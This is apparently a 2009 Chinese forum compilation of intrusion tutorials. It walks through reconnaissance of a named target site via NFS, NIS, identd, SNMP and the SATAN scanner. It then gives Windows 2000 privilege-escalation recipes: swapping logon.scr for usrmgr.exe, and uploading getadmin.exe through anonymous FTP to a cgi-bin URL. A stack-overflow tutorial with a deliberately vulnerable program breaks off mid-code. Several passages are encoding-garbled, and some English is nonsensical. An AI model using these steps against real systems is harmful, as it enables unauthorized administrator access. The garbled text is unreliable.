  NFS是一种系统程序,它主要负责文件传送操作的NFS协议,另外还可以使用MOUNT协议标识要访问的文件系统及其所在的远程主机。NFS有着良好的扩展性、信息访问的透明性、简化了中央支持任务和网络管理等等优点。但它在安全上却有很大的问题。NFS采用的是客户机/server结构的系统,客户机是一个使用远程目录的系统,那么此时远程目录就像是它自己的本地文件系统的一部分一样;而server提供本地资源能被远程主机安装的服务,允许磁盘上的有关目录或文件被其它主机访问。网络文件系统就是通过NFS s-erver的文件系统安装到客户机的文件系统而得以实现的。NFS协议只负责文件的传输工作,但不负责连接文件系统。在server端有一个叫mountd的守护进程则负责安装任务,响应的安装程序负责维持包含在安装工作中的一系列主机名和路径名,一般在Unix中把已经共享的远程目录安装到本地的过程叫做“安装(mountd)目录”,再把做为远程访问提供一个目录叫做:“输出(exporting)目录”,前者是客户机的功能,后者是一种server的功能。
  在Unix中,有个查询消息的showmount命令,它的作用是在一台NFS主机上跟某远程的NFS的信息。如果某个远程主机是通过rpcinfo -p显示安装服务的话,那么用showmount命令可以询问到rpc.nounted中的detail。它的参数包括有showmount -a(命令打印一列已经加载输出文件系统的host)和showmount -e(命令请求打印的列表包含通过NFS输出的文件系统以及它的授权)。NFS uid 16-bit就是个很显著的例子,一个NFS server依赖客户端的认证,但这种认证只是请求时的IP add,有个声称客户uid为0+2^16=65536
的用户被accept并且不重新映射为新UID。当这个用户提出请求访问拥有的文件时,对uid的比较仅对其低16位进行,就将允许这个用户伪装成根。就本身而言,NFS应该是不对Internet开放的,即便是你需要那么做但也仅仅只能是读。如果说可以对根可以写的话,那么这对网络安全来说绝对是一个笑柄了。NFS依赖于客户方认证的。如果对showmount所输出的信息多加以分析的话,寻找它的漏洞所在,利用很多诸如Nfsbug、nfsmunu等工具就可以对NFS进行jack in。

10、获取NIS信息:
  网络信息服务NIS(以前也叫做黄页服务)允许在一个单位或者组织结构中共享系统管理方面的信息数据库,比如用户组、口令文件等,NIS可以为重要的管理文件提供重要服务,并自动传送这些文件。使用NIS可以达到集中管理的目的,不用再那么麻烦的在多台不同机器上修改文件,能够保证整个网络上管理信息的一致性。NIS也是基于客户/服务器模型。通过NIS访问同样的数据库的客户机的集合称为域。那些供网络查询的数据库通常由几个标准的Unix文件转换而成,这些数据库一般称为NIS映像。NIS的域的概念类似于DNS中的域。
  在一个NIS域中所有的计算机不但共享了NIS数据库文件,也共享着同一个NIS server。为了访问NIS信息host必须有相应的域名,并且只能属于一个特定的域。NIS主server保存所有的数据库文件并对客户提供数据库访问和其它一些相关服务。NIS的数据库ASCII码文件一般保存在/var/yp/dom-inname。而在Unix下通过命令#domainname x可以来检查或设置NIS域名。NIS server在向NIS/yp域中所有的系统分发关于数据库文件时,一般不做检测,只要对方是自己NIS域内并且知道其域名的每个ypbind用户。这显然就安全而言不是什么好事情,但对攻击者来说则是不错的现象。如果说用ftp或者telnet smtp发去N次请求,导致NIS客户请求的响应发生反应迟钝的现象,这样就使NIS客户广播一个请求,这请求跟另一个NIS server相连。
那么攻击的时候对这个请求进行响应,让它连到自己的系统之上,并向该客户发布口令映射,如果这么完整的做完的话那么也就可以结束这次攻击的第一阶段了。
  做为管理者而言,NIS同NFS一样,都不应该对Internet是访问的。更不应在不信任的环境下使用。保持良好的NIS域名秘密而不易被猜到。
11、获取Web server信息:
收集Web server的信息是攻击中很main的环节,虽然说Web的守护进程httpd不会发生间接暴露server信息的情况,但Web page上的信息却很多都是有用的,当然了,这有用是针对攻击者而言的。比如说一个信箱用户名也许对应的就是一个可以登陆系统的用户名等等。而CGI、ASP漏洞被攻击者所利用来攻击系统的事件也都屡见不鲜。这里可以为获取semxa.com的Web页面路径做些测试。简单的利用浏览器眼睛多注视左下角就可以获得页面的存放路径,大多时间还将获得有关本地环境和URL的信息,如果目标机器对它的URL是隐藏的话那么这个就是不存在的。通过建立一个Web站点并使semxa.com内的成员机跟它相连接,这样可以获得一些客户信息,但也只实用于LAN。我一般是利用浏览器观察,把暂时认为有用的信息会记录下来。
                        

一光年的距离 2009-04-23 17:56
远程攻击学习ABC—从SATAN开始的漏洞收集(下)

寒路

12、获取NNTP(网络新闻传输协议)信息:
  很多时候通过NNTP是攻击时获取目标主机信息的最好办法。NNTP本身是用于新闻组server之间交换新闻的协议,它也适用于新闻浏览器跟新闻server之间的协议。仔细的搜索每条向目标主机地址中发送的网络新闻你就会发现这里面也有目标主机内投送源的Email地址或者部分由目标主机用户投送的消息。但不管源自何处,这对攻击来说都将是收集目标主机信息的方便之门。尽管NNTP可以在投送时选择信任的主机来保护它的信息。但诸如tin可以解释在新闻中潜入的MINE语句,可投送本身却隐藏着一个错误。如果有一条对.rhost文件做外部ftp的MINE语句,那么就会很容易的为信任攻击打开系统之门。这对安全来说可不是什么好事情。
13、收集关于路由的信息:
  得到目标host所在的该网关是否运行这对攻击来说是很重要的。因为网关程序信任来自未授权源的路由包。当然了,首先你得明白网关与主机间的区别。网关是连接到多于一个网络的设备,它可以有选择把数据从一个网络转发到其它网络中。路由器则是有着专用的网关。而网关化的路由程序允许向其它路由守护程序广播路由表信息,这些路由包可以用来建立目标主机中每个系统的路由表图,它们还有助于向这个域内的系统珍表增加host name。这些查询可以利用netstat -nr来完成。通过查询可以知道目标段的IP是采取的哪个路由器connect的。
14、获取identd信息:
  获取目标host是否运行了一个或者多个identd server,这对于判断出跟有连接的网络信息。像获得运行着pidentd,那么起码可以得到一些用户的信息和系统版本的信息。比如说当现在我有个认识的人他在我的ICQ中,而他同时又是semxa.com的一个用户,此时他正登陆在semxa.com上,那么我可以利用ICQ发消息给他保持住跟他的connect,这样我就可以利用工具SOidlook(ftp://semxa.technotr.com/tools/)得到identd信息。获取identd信息之后很有用,可以针对semxa.com的auth port利用ICQ跟semxa.com的用户的连接再做N次connect的尝试,impersonation成该用户再摸索一些诸如FTP server的bounce等漏洞(如果有的话),指定shell或者注册port作为server的目标port,并且scan客户机上all可能的port。如果说可以匹配的话那么就可以得到有用的rsh或rlogin对semxa.com访问权的用户。当然现在这只是猜想而已。最重要的还是能得到identd信息。
15、获取IP层信息:
  我需要知道semxa.com是否允许IP源路由及IP转发。可以在传输层通过IP转发向NEtWork发出一个包尝试得到响应。但不幸运它的firewall没那么差。捷径没有但还可以利用Kit Vtivoy的路由跟踪程序Rtracker(ftp://semxa.technotr.com/tools/)来完成,通过对loose源路由用-g选项从源路由给目标路由发一个包如果能得到一个响应的话就算OK。获取是否允许IP源路由及IP转发是因为IP包分段本身不安全。如果说能通过Packet pry看到这种分段的happen,理念上可以截获连接同时再deceiving TCP头利用这种分段得到
根的impersonation。我尝试了tcpdump但无收获。前几天那位来自Gallo Mr rhinoceros在这里提到过可以在合适的时候"passed aggravate load begets of middle router fragments......"(CITE),不知道他可否能将步骤变成文字与大家Share。
16、获取Simple network Management Protocol(SNMP)信息:
  SNMP是一个允许远程程序方便NetWork管理的server,它是个简单的NetWork管理协议,是与TCP/IP NetWork中像router、交换器、集线器(HUB)进行通讯的一系列标准。通过SNMP可以获取到host与route的信息。收集SNMP信息得从SNMP传输请求想起。一个SNMP请求包含一个Community name,它用于目标系统上的snmpd守护程序认证访问请求,而请求有两种,一种是SNMP GetRequest;另一种是SNMP SetRequest,在这里我不会假设你已经掌握了关于SNMP技术,因为We here of MOSES Dave Goldsmith的那篇〈once The attacked on entireness using SNMP〉比什么都详细,你需要去读一下(如果你还没看过的话)。不过我
个人认为SNMP的明天不会很长。
17、其它更多的信息:
  事实上在获取信息的时候每个数据都是不应当放过的,因为一时的疏忽可能会使你失去机会。了解目标主机中所有的信息,这对最后整理很有用。除了以上所说的之外还应获取更多的(如果有时间的话)像可否进行Packet pry、NTP、relay chat、talk、systat、gopher、UUCP、CGI、编译器信息等等。最近以来,UUCP的安全问题一直在GOLD COAST上讨论的比较热闹,而我在一段时间内也很注意UUCP,但从上次Chameleon的“UUCP--age-old UUCP of safety problem”起,其可利用性也就随着“age-old”在我脑海沉没了。虽然如此,但也并不意味着放弃(如果有的话)。
  从上面开始到了现在也算是收集的大部分的信息,那么整理这些信息是很有必要的,这样看起来清楚一点不至于有疏漏。一般情况下我在收集完结束之后会搞一个像下面的一样的表格:
host :www.semxa.com
port server:21ftp、22SSH、23telnet、25SMTP、117UUCP……
——————————————————————————————
ftp server open os Digital UNX Version
bugs log:
………………
这样下来可以随手找到信息的。很方便。
  前头所描述的是一般普通攻击手工简单收集和获取目标主机的信息的一种思路,之所以在表现SATAN中很大篇幅的说它,那是因为跟SATAN的本身是很有关系的。所有的信息手工收集起来需要很长时间也同样是一个巨大的工程。可能会花去你四到五个小时去做。而这些工作换成SATAN去做的话,仅仅在几分钟便可完
成,同时还会对那些已经植入代码的漏洞进行攻击尝试。如果说上述的信息都可用SATAN来完成的话,那么就可以断定,用SATAN扫描网络将是一个很危险的动作,这危险是相对恶意破坏而言的。
  SATAN在扫描中很重视到目标系统中各种TCP and UDP端口上比较活跃的进程。但这些又取决于用户指定的扫描类型。在SATAN中,它的类型根据网络状况存在着三种扫描程度,这分别是:low-grade(轻度)、normal(标准)和grievous(重度)scan。而这三种程度又具体表现为:

low-grade(轻度)扫描:
  这种状态下的扫描是从DNS、rpc、portmap进行的。
  DNS扫描时利用nslookup(Unix上一种交互式查询Internet主机、server名字的命令程序)来收集有关目标主机的更多点信息,这些信息包括目标主机的MX记录和授权nameserver。
rpc扫描目标主机portmap请求一张服务列表,而后对列表进行扫描查询:
bootparam、ypbind、selection-SVCnfs、rexd、arm、mountd、rusersd、
netinfobind以及admind。
  如果说portmap的服务列表中显示有mountd,那么SATAN就会进行showmount扫描,首先会要求目标的mountd给出一个列表,列表中显示哪些文件系统输出和哪些主机被允许加载它们。最后会要求目标mountd列出实际加载文件系统的host和被加载的文件系统。showmount是Unix中一个消息查询的命令,它可以给出一台远程主机上的NFS信息,比如用$showmount -e 4.4.4.4。这样的扫描不做普通的TCP and UDP扫描的,扫描范围比较小。
normal(标准)扫描:
  标准扫描包含了轻度扫描的所有内容,同时增加了对fingerd、各种TCP服务以及UDP服务的扫描。扫描时会根据结果和扫描规则库有选择的对rusers(这是个Unix上消息查询的命令,可以显示出一台远程机器上登陆用户列表)、bootparam和yn进行扫描。
finger的查询无须再说了。
  SATAN随后会对TCP进行扫描,以便得到目标端口上活跃的gopher、http、FTP、telnet、SMTP、NNTP、UUCP以及X等服务。再者就是UDP端口上的DNS与Xdmcp的扫描。如果说查询时portmap报告回来目标的rusersd是可以用的,那么SATAN就会请求rusersd给出都有哪些用户,他们是从哪个系统上登陆进入的等等。
rpc bootparam服务可以让SATAN获取NIS的域名,如果SATAN一旦获得了这个域名的话,SATAN就会开始启动一个up -chk程序来尝试从NIS server上获得passwd、byanme映射。
  现实中SATAN标准扫描是比较常用的。因为很多机器到这里就已经可以达到驾驭它的目的了。

serious(重度)扫描:
  这次扫描包含了上述两种的全部内容。增加了对那些比较活跃的服务的更多一些的扫描。TCP的端口也从1到了65535(但默认时是1到9999),UDP的端口则是1到2050,32767到33500。很显然,这需要时间和多点资源了。

上面这三种扫描其实仅仅只是SATAN扫描的前个阶段,主要是为了收集目标机器的信息。
  在SATAN的规则扫描中包含了一些常见的安全漏洞的检查。但并不包含所有已知漏洞,这需要你来自己增加。经常的更新自己的SATAN漏洞库集对发现新漏洞是很重要的。通过创建一个新的.satan并将它放到bin/目录中就可以完成增加一个新的扫描了。
  建立SATAN也很简单,但却很麻烦。在SATAN软件包里包含了大量的HTML构造起来的Web页,这些Web页是很重要的,因为很多漏洞的信息来自这些页面。上面简单的说了些关于建立SATAN的方式。在config/目录下编辑paths.pl and paths.sh文件,实现你做需要的文件放置位置;接着可以根据你自己的要求去编辑config/satan.cf,可以根据自己的需要考虑给$only-attack-these and $dont-attack-these增加一些
简单的实用的内容(这两个变量提供对SATAN扫描主机时的控制);运行rcsonfig脚本(应当注意的是这个脚本是Perl5.00x and a Web浏览器的增强脚本,如果rcsonfig选择的Web不适合,那么编辑config/paths.pl指向这个选择的浏览器,这时的Web浏览器变量是$MOSAIC);在satan-1.1.1/目录下执行make指令;如果你想隐藏自己或者是需要一个代理的话(因为这个时候会提示给你的)在SATAN的文档中特别说明了不需要设置代理环境变量或浏览器代理;以root登录运行SATAN脚本,如果没有给出命令行参数,脚本调用一个小的Web server,也就是html.pl,再与之进行对话……一切妥当之后SATAN的主界面便会出现。
  由于SATAN操作很简单,就如何使用它来描述可能有点prosiness。《:-)首先启动SATAN,毫无疑问,启动它需要#。administrators在使用SATAN的候最好是将其配置成拒绝本地以外的IP来运行SATAN,但这也不完全可以防止。因为一般情况下使用IP欺骗便可以饶过这个环节。接着配置管理选项,对www.semxa.com这单一的目标进行扫描必须将proximity最大设置成0并且关闭子网的扩展或者过早的编辑config/satan.cf,根据需求再利用$only-attack-these变量将扫描限制在单一之上。然后选择"Change the C-nfiguration File"项save修改。很多时候把限制放松到一个整的网段效果会好许多,但这取决于你是否有这个时间和精力。
  最后在"Target Selection"中植入目标地址,接着选择scan degree启动扫描就over了。后来需要做的就是等待结果。当SATAN的子线提示已经完成时,就可以在SATAN的Data Gather Of Screen选
"View primary target results"来浏览结果。也可以在SATAN的子目录results/s-ata-data来看。
  信息和弱点收集结束接着能做的就只有空洞的分析那些结果了。This is the job nerve-racking,当然只是就我而言的。:-\对于www.semxa.com,现在已经收集到了很多信息在我的表格中了,“对号入座”是目前该做的事情了。在SATAN收集到目标机器的OS的时候,我抽了这个空余时间到www.netsafety.com收集关于那个OS的所有漏洞的信息,有了它我就可以在SATAN的报告中标识出哪个可以用哪个该放弃。所以说经常留意最新的安全弱点报告是很重要的。但目前应当做的还是需要第一个能登陆系统的用户和它的口令。
  对于匿名可以进入的系统来说,这无疑是一个好的兆头。虽说匿名的FTP本身并不是个漏洞,但是它却可以使攻击者能获得这个系统的信息以及更多的包括内部SATAN不能逾越的漏洞,甚至可以因为管理员的低级配置而获得/etc/passwd文件。
  目前在Internet上,提供匿名服务的系统依然很多。我们花点时间来探讨一下这些吧(如果你也有时间的话)。但匿名FTP的未来我想应该不会很长远吧,毕竟它是一个潜在的安全隐患。
从Unix上设置匿名的FTP服务路径:
$mkdir/home/ftp
$cd /home/ftp
$mkdir bin
$mkdir etc
$mkdir pub
$mkdir lib
$cp /bin/ls /home/ftpbin
$chmod 111 /home/ftp/bin/ls
接着需要创建只能被匿名FTP用户使用的FTP组,这个组没有其他成员的组,把这个新创建的组所能使用的项加到/etc/group文件里,再创建一个单独的
$mkdir /home/ftp/etc/group
FTP::50
建设匿名的FTP用户名,方法是把该用户的项放在/etc/passwd中,并创建一个为/home/ftp/etc/passwd文件,当然它只能包含该FTP项。内容表现为:
FTP:*:23:32::no shell
接着需要做的就是把这个项设置成只读444:
$chmod 444/home/ftp/etc/passwd
$chmod 444/home/ftp/etc/group
  以上这是一般的Unix上匿名FTP的配置。从上面的no shell不难看到匿名的FTP用户登陆后是无法通过shell对系统进行操作的。如果说出现可以通过shell来操作系统或的匿名FTP用户拥有合法的shell的话,那这个管理员一定是个Zanily Gink。
  而所谓的匿名用户获取/etc/passwd那也是属于管理员配置上的低级错误。匿名FTP的/home/ftp/etc目录里包含了passwd和group文件,这几个文件允许匿名用户使用ls来显示它们名称,但不是UID。至于passwd文件的密码域则是不可用的。但如果说管理员不慎把/etc/passwd和/etc/group文件copy到了/home/ftp/etc目录下,那么攻击者就该偷笑了。还有的危险就是telnet to ftp 21如果允许执行SITE CHMOD and
SITE EXEC、/home的所有者是匿名FTP的用户,那么随便就可把权限设置成777或者更多的进行修改等等等等。可semxa却没有匿名FTP服务,所以上面的话只是我想到了才说的。haha……:-x

  *就SATAN而言。www.semxa.com的实际漏洞并不是很多,但却有一个绝对够级别的漏洞——mount的漏洞。这是一个很老的漏洞了,据说可以延伸到VAX年代,Sun的描述是“如果两个连续的mount -d -s命令在几秒内发送给机器,则请求被实现……”。而对缓冲区溢出来说,一直是受到关注的。以缓冲区溢出为类型的安全漏洞是最为常见。但要利用缓冲区溢出上的漏洞那么你就得熟悉汇编语言、c and Unix、Windows甚至是Linux以及更多的系统。否则你只能看着别人去模仿,这是很不自然也很不方便的。当然了,最重要的还是你得知道溢出的是什么缓冲区。Mixter95年曾经写过一篇初级的关于缓冲区溢出的利用的文章《Writing buffer overflow exploits - a tutorial for beginners》,我在这里纯粹是起一个“广而告之”的作用。看这篇文章你可以到http://semxa.kstar.com/HANLU/buffer95.txt看到全部。*

  我提倡把扫描的结果建立成表格的形式,是因为这样可以使你更好与漏洞进行匹配,这是很值得的。熟悉英文的用户在建立了表格之后可以去BUGTRAQ找,最重要的在这里你甚至还可以相匹配的攻击代码。而厌烦English的用户则可以去www.105.com.cn,这是一个很有价值的站点,在这里可以找到97年至今的各个系统的安全漏洞,当然大部分也是带有代码的。

  怎么利用所收集到的漏洞进行攻击暂时不是这个文章所讨论的问题。可事实上讨论漏洞如果利用却一直是很得到重视的,很多朋友都这么以为。可我认为这是后话,只是觉得一个真正的技术上的成功的背后大多是有着坚韧而不舍弃、勇往追求的执着精神努力而来的,绝不是从天上掉下来或者是从娘胎里带出来的“天生的天才”。如果说一个潜在的漏洞所能给你得到的是一个最高权限的话,那么没有任何漏洞的情况下呢?当我们还在尝试Modem的拨号入侵甚至是再深奥一点的时候,美国人却正在进行着DCC attack,不由得发现世界如此之大,可我们太肤浅了……
  请相信一步难上青天,需要点点滴滴……

一光年的距离 2009-04-23 17:56
WIN2000漏洞

★在Windows 2000远程服务器上的cpu过载
★发送一连串的二进制中的0字符,到达Windows
★2000中的任意一个端口,都可能引起CPU的利用率达到100%。这样的端口包括了TCP中端口号为7,9,21,23,7778和UDP中端口号为53,67,68,135,500,1812,1813,2535,3456的这些端口。
★在Windows 2000远程服务器上的DOS操作系统的漏洞
★以Windows2000作为操作平台的服务器作为远程控制台对远程访问进行控制。一个远程的攻击者向该服务器发了一连串的攻击性代码,使服务器工作出现故障。在此之后,如果系统通过自动重启后继续工作,那么很多的攻击造成了远程服务器不断的重新启动,直到重启的频度超出了系统的承受能力,系统崩溃。

另外:

1.如果你有普通用户帐号,有个一个很简单的方法获取NT Administrator帐号:

先把c:\winnt\system32下的logon.scr改名为logon.old备份

然后把usrmgr.exe改名为logon.scr

然后重新启动

logon.scr是启动时加载的程序,重新启动后,不会出现以往的登陆密码输入界面,而是用户管理器

这时他就有权限把自己加到Administrator组

不要忘记把文件名改回来啊!

2.下面的技术适用于不重视NT网络安全的网站,

一些http的技术也可以供较高级的人员参考

进入Win2K网络可以采取下面的步骤:

因为NT的IIS
server的ftp一般都是允许anonymous匿名帐号进入的,有些anonymous的帐号还有upload权限,我们就要攻击这类站点。因为如果不允许匿名帐号,就可能造成明文密码在网上传输。用tcpspy的工具可以截获这
些密码。现在不谈这些比较高级的技术。

正因为允许匿名帐号ftp登陆的设定,也给我们带来了突破NT server的机会。我们用ftp登陆一个NT
server,比如:xxx.xxx.xxx.xxx(示例名):

ftp xxx.xxx.xxx.xxx

Connected to xxx.xxx.xxx.xxx

220 2000svr Microsoft FTP Service (Version 5.0).

2000svr这个东西暴露了其NETbios名,那么在IIS的背景下,必然会有一个IUSER_2000svr的用户帐号,属于Domain
user组,这个帐号我们以后要用来获取Administrator的权限

User (xxx.xxx.xxx.xxx none)):anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 输入 guest@ 或者guest
对于缺乏网络安全知识的管理员来说,很多人没有将guest帐号禁止,或者没有设置密码。那么guest帐号就是一个可用的正确的用户帐号,虽然只属于Domain
guest组

在这种情况下我们就可以进NT server的ftp了。

现在,开始查找cgi-bin目录(或者scripts目录),进去以后,

把winnt下的cmd.execopy到cgi-bin,把getadmin和gasys.dll传上去到cgi-bin

然后输入:http://www.xxx.com/cgi-bin/getadmin.exe?IUSR_SATURN

大约十多秒后屏幕显示:

CGI Error

这时有90%的可能是:你已经把IUSER_2000svr升级为Administrator,也就是任何访问该web站的人都是管理员

Windows 2000缓冲区溢出入门

  我在互联网上阅读过许多关于缓冲区溢出的文章。其中的绝大多数都是基于*NIX操作系统平台的。后来有幸拜读了ipxodi所著的《Windows系统下的堆栈溢出》(已刊登在绿盟网络安全月刊2000年第三?谥校??峙銮煽吹搅薐ason先生的《Windows
NT Buffer Overflow’s From Start to
Finish》,得益匪浅。在翻译Jason先生的文章时,由于我的机器安装了Windows 2000
Server,在调试原文程序时发现细节略有出入。因此本文提供的有关源程序、动态链接库、偏移量等是以我在自己机器上调试为准。(对不同版本的动态链接库,都需要编程者自己调试。)


  这篇文章应该属入门级。虽然比较简单,但对于Windows系统下的缓冲区溢出具有一定的通用性。例如,堆栈溢出地址的确定,跳转指令的查找和使用,溢出执行代码的编写,等等。只要发现Windows系统下存在缓冲区溢出漏洞的程序,基本上都可通过这些步骤进行攻击测试。但正如ipxodi所指出的,由于Windows下动态链接库的版本更新较快,一定要根据编程者的实际平台进行调试。在发布此类安全漏?垂?婊蛞绯龉セ鞒绦蚴保?创?搿⑾低称教ê投??唇涌獾陌姹竞哦加Ω镁×苛星宄?7裨虮鹑说魇云鹄纯赡芑嵬诽鄣煤芾骱Α#唬?P>--[
调试、测试环境

Microsoft Visual C++ 6.0
Microsoft Windows 2000 Server (中文版,内部版本号:2195)

--[ 调试、测试过程

首先,写一个存在缓冲区溢出漏洞的应用程序。该程序可读取文件的内容,这样我们就能通过修改被读取文件的内容来使程序溢出。;-) 在Visual
C++开发环境中创建一个新的控制台应用程序,选择”An Application that supports
MFC”并单击”Finish”。(注:其实并不一定非是MFC应用程序不可,只不过是我自己的习惯而已。;-)))向这个应用程序中添加一些必要的代码,如下:


CWinApp theApp;

using namespace std;

void overflow(char* buff);

void overflow(char* buff)
{
CFile file;
CFileException er;
if(!file.Open(_T("overflow.txt"),CFile::modeRead,&er))
{
er.ReportError();
return;
}

int x = file.GetLength();
file.Read(buff,x);
}

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
char buff[10];
overflow(buff);
}
return nRetCode;
}

  现在先来分析一下上面这段C++代码,找一找哪里有漏洞。这是一个MFC控制台应用程序,”main”函数与其它程序会有些不同,但工作机制基本一致。我们主要分析该函数中”else”那段代码。首先
是第一行”char
buff[10]”,定义了一个10字符长的本地变量。我们都知道,本地变量的内存空间是在堆栈里分配的。(如果你连这个都不知道,建议不要继续往下看了。:))然后是将buff变量作为参数调用overflow函
数。好了,现在让我们分析overflow函数。首先是一个Cfile对象,然后是一个CfileException对象。接下来会试图以读权限打开当前目录下的文件”overflow.txt”。如果打开成功,则将该文件中的所有?谌荻寥〉絙uff数组变量中。发现了问题没有?buff变量只有10字符长。如果读取的文件内容长度是100时会发生什么问题呢?对了,“缓冲区溢出”!而且是在堆栈中发生的缓冲区溢出。在后面的测试中就
能看到,我们利用这个漏洞能做些什么!;)现在让我们创建文本文件”overflow.txt”,并将它放到这个应用程序的project目录下。

在进行下一步前,先让我们探讨一下关于Windows
NT/2000的内存结构。NT/2000的每一个进程都在启动时分配了4GB(0xFFFFFFFF)的虚拟内存。其中的某些部份实际上是由所有进程共享的,例如核心和设备驱动程序区域。但它们都会被映射到每个进程的?槟獾刂房占淅铩J导噬厦挥薪?谭峙涞?GB的物理内存,而是仅当需要时才分配物理内存。因此每一个进程都有各自的4GB虚拟内存,编址范围从0x00000000到0xFFFFFFFF。其中,0x00000000-0x0000FFFF?俏狽ULL指针分配而保留的。访问该区域内存将导致“非法访问”错误。0x00010000-0x7FFEFFFF是用户进程空间。EXE文件的映像被加载到其中(起始地址0x00400000),DLL(动态链接库)也被加载到这?糠菘占洹H绻鸇LL或EXE的代码被装入到该范围的某些地址,就能够被执行。访问该区域中没有代码装入的地址将导致“非法访问”错误。0x7FFF0000-0x7FFFFFFF是保留区域,对此区域的任何访问都将导?隆胺欠ǚ梦省贝砦蟆?x80000000-0xFFFFFFFF仅供操作系统使用。用于加载设备驱动程序和其它核心级代码。从用户级应用程序(ring
3)访问此区域将导致“非法访问”错误。

现在回到”overflow.txt”文件。现在我们将向这个文本文件中不断添加字符,直到弹出应用程序非法访问的系统对话框。在这里,填充什么字符是很重要的(原因待会就知道了)。我选择小写字母”a”?刺畛湮谋疚募?N颐且丫??阑撼迩?挥?0字符长,那么先填充11个字符。(注意:以debug方式编译应用程序,否则结果可能会有所不同。)咦?没反应。我们继续填充字符……直到填充了18个字符应用
程序才崩溃。但这个崩溃对我们的用处还不大。继续填充!当字符串长度为24时,运行程序并观察弹出的对话框信息:“”0x61616161”指令引用的”0x61616161”内存。该内存不能为”written”。”我?氪蠹叶加Ω弥?馈?x61”所代表的ASCII码是什么吧?;)如果你的机器安装了Visual
C++,单击“取消”按钮就能够调试该应用程序。进入调试环境后,选择”view”菜单――”debug
windows”――”registers”,可打开寄存器窗口。如果你对汇编一窍不通,建议先フ冶净惚嗟氖榭纯础T诩拇嫫鞔翱诶锘峥吹紼AX、EBS和EIP等寄存器的内容。EIP当然是最重要的了。EIP的内容就是程?蛳乱徊剿??葱兄噶畹牡刂贰N颐亲⒁獾紼SP寄存器的值未被破坏,而且似乎离我们的buff变量不远。下一步我们需要找出ESP的值是如何处理得到的。


现在开始会复杂些了(而这就是乐趣的源泉!:))。
在main函数的最后一行代码处设置断点,因为我们只关心这里所发生的事情。现在启动调试器,并让程序无故障运行到该断点。然后切换到反汇编窗口(按Alt+8,或单击”View”――”debug
windows”――”disassembly”)。另外还要打开内存窗口和寄存器窗口。

0040155B 5F pop edi
0040155C 5E pop esi
0040155D 5B pop ebx
0040155E 83 C4 50 add esp,50h
00401561 3B EC cmp ebp,esp
00401563 E8 7E 00 00 00 call _chkesp (004015e6)
00401568 8B E5 mov esp,ebp
0040156A 5D pop ebp
0040156B C3 ret

以上这些东西是什么?汇编代码。如果你对汇编一点都不懂,我在这里做一些简单的说明。第一行是”pop
edi”。指令pop用于将仅次于堆栈顶端的数据移到其后的指定寄存器中。需要注意的是ESP寄存器。ESP是32位堆栈指针。一个pop指令移动堆栈顶端的一个数据单元,在这里是DWORD(双字,4字节),到指??拇嫫髦校?⒔?颜恢刚爰?(因为共移动了4字节)。在执行下一步前,让我们看一下ESP寄存器。在内存窗口中输入ESP,就能得到ESP当前指向的地址和内容。看一下ESP指向的内存地址中4个字节的内容
和EDI寄存器的内容。现在单步执行”pop.edi”,我们能够看到EDI寄存器中填入了ESP所指向的内存地址的数值,同时ESP的数值也增加了4。后面的两条指令是一样的,只不过寄存器不同罢了。单步执行它
们。跟着的三行指令对本文没什么意义,所以在这里不作解释。单步执行到指令”mov esp,
ebp”,该指令会将EBP的值赋给ESP寄存器。然后是指令”pop
ebp”,这条指令很重要。先让我们在内存窗口输入ESP,可以看到该内存地址有一串”0x61”(’a’的16进制值)。因此0x61616161将被弹出到EBP寄存器中。单步执行该指令可以检验我说的没错吧?;)
好了,虽然我说的没错,但好象我们还没能得到什么有用的东西?现在到了最后一条指令”ret”。指令”ret”在汇编中是返回指令。它是如何知道应该返回到哪里的呢?由当前位于堆栈顶端的数值决定。
这条指令如果用pop指令表示的话可以表示为”pop
eip”(虽然实际上你无法执行这条pop指令;))。它从ESP所指向内存地址处弹出4字节内容,并赋给EIP寄存器(EIP寄存器是32位指令指针)。这就意味着,不管EIP指向哪个内存地址,该地址处的指令??芑岢晌?乱惶踔噶睢N颐窃俅卧谀诖娲翱谥惺淙隕SP,看一下将要赋给EIP寄存器的地址的指令是什么。其实我想此时大家都应该知道是4个字节长的0x61串。现在让我们单步执行该指令,看到EIP的值为0
x61616161,也就是说下一指令地址为0x61616161,但指令却显示为???(意为无效指令)。因此再单步执行指令将导致“访问非法”错误。现在再看看ESP寄存器。它正确地指向了堆栈中的下一个数值。也?褪撬担?乱徊焦ぷ魇侨范ㄔ谑够撼迩?晒σ绯觯‥IP=0x61616161)时,ESP所指向的地址是否能够存放我们的溢出代码!我们在overflow.txt文件中再次增加4个’a’(共28个’a’),并再次调试程序,
在执行到”ret”指令时观察内存窗口和寄存器窗口,会发现执行”ret”指令后ESP所指向内存地址的内容为4字节长的0x61串。Great!这意味着什么?!这个让大家自己想去吧。;)))


现在我再回过头来分析一下。我们刚才使用字符’a’(0x61)作为文本文件的填充内容,以确定存在缓冲区溢出。由于EIP=0x61616161,当我们的程序访问试图访问该地址处的指令时,会因为是无效指令
而导致系统出错。但如果所指向的地址存在可执行代码时又如何呢?例如装入内存的DLL代码等。哈哈,这样的话就会执行这些指令,从而可能做一些别人想像不到的事!;)


好了,到目前为止,我们已经能控制EIP的数值,也知道ESP指向的堆栈位置,和能够向堆栈写入任意数据。那么下一步做什么呢?当然是找到使系统执行我们的溢出代码的方法了。如果你看过ipxodi所著的
文章《Windows系统下的堆栈溢出》,就会知道采用跳转指令(jmp
esp)是最好不过的了。原因在这里就不再多讲,请大家仔细阅读《Windows系统下的堆栈溢出》就清楚了。正如前面分析过的,这是因为执行完ret指令后ESP正好能够指向我们的溢出代码!(……哦,找不
到,我没分析过?在本文中查找单词”Great”吧,呵呵。)现在我们就要在应用程序的内存空间中找到含有”jmp
esp”指令的地址。首先当然是确定这条指令的机器码了。怎么确定?这也要教?好吧,教就教吧。仅此一次,下不违例。;)其实方法很简单,按以下步骤就可以了。先在Visual
C++中创建新的应用程序。(当然还是控制台程序,还是支持MFC,这是我的习惯。呵呵。)输入以下代码:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
